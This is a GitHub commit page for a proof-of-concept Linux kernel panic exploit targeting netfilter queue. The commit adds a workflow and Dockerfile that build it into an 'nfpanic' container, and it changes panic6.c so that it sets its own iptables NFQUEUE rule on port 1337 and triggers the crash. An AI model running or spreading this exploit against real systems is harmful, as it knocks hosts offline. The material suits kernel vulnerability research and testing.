Skip to content

Commit

Permalink
unprivilaged poc
Browse files Browse the repository at this point in the history
  • Loading branch information
domysh committed Sep 7, 2023
1 parent 09e5886 commit 3bd11b1
Show file tree
Hide file tree
Showing 3 changed files with 74 additions and 7 deletions.
53 changes: 53 additions & 0 deletions .github/workflows/docker-image.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
name: Create and publish a Docker image

on:
release:
types:
- published

env:
REGISTRY: ghcr.io
IMAGE_NAME: ${{ github.repository }}

jobs:
build-and-push-image:
runs-on: ubuntu-latest
permissions:
contents: read
packages: write

steps:
- name: Checkout repository
uses: actions/checkout@v3

- name: Set up QEMU
uses: docker/setup-qemu-action@master
with:
platforms: all

- name: Set up Docker Buildx
id: buildx
uses: docker/setup-buildx-action@master

- name: Log in to the Container registry
uses: docker/login-action@v2
with:
registry: ${{ env.REGISTRY }}
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}

- name: Extract metadata (tags, labels) for Docker
id: meta
uses: docker/metadata-action@v4
with:
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}

- name: Build and push Docker image
uses: docker/build-push-action@v3
with:
context: .
builder: ${{ steps.buildx.outputs.name }}
platforms: linux/amd64,linux/arm64
push: true
tags: ${{ steps.meta.outputs.tags }}
labels: ${{ steps.meta.outputs.labels }}
9 changes: 9 additions & 0 deletions Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1,9 @@
FROM debian

RUN apt-get update
RUN apt-get install -y libnetfilter-queue-dev libmnl-dev libnfnetlink-dev iptables gcc
WORKDIR /exploit
COPY panic6.c panic6.c

RUN cc panic6.c -o nfpanic -lmnl -lnetfilter_queue
CMD ["./nfpanic"]
19 changes: 12 additions & 7 deletions panic6.c
Original file line number Diff line number Diff line change
Expand Up @@ -33,6 +33,7 @@ int socket_conn(uint16_t port)

// connect the client socket to server socket
connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
return sockfd;
}

int main(int argc, char *argv[])
Expand Down Expand Up @@ -71,14 +72,17 @@ int main(int argc, char *argv[])
perror( "mnl_socket_send" );
exit(EXIT_FAILURE);
}

printf("[*] You need to associate to this queue the port 1337: sudo iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
puts("Press ENTER to contiune (and panic)");
getchar();

puts("[*] Linking the nfqueue to a real connection through iptables");
char cmd[200];
sprintf(cmd, "iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
if (system(cmd) != 0) {
perror( "system" );
exit(EXIT_FAILURE);
}

puts("[*] Sending a connection packet to nfqueue");
socket_conn(1337);


puts("[*] Waiting for a packet in the nfqueue");
if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1) {
Expand All @@ -97,8 +101,9 @@ int main(int argc, char *argv[])
perror( "mnl_socket_send" );
exit(EXIT_FAILURE);
}
puts("[*] Are you still alive?");


puts("[*] Are you still alive? Probably your kernel is not vulnerable :(");
return EXIT_SUCCESS;
}


0 comments on commit 3bd11b1

Please sign in to comment.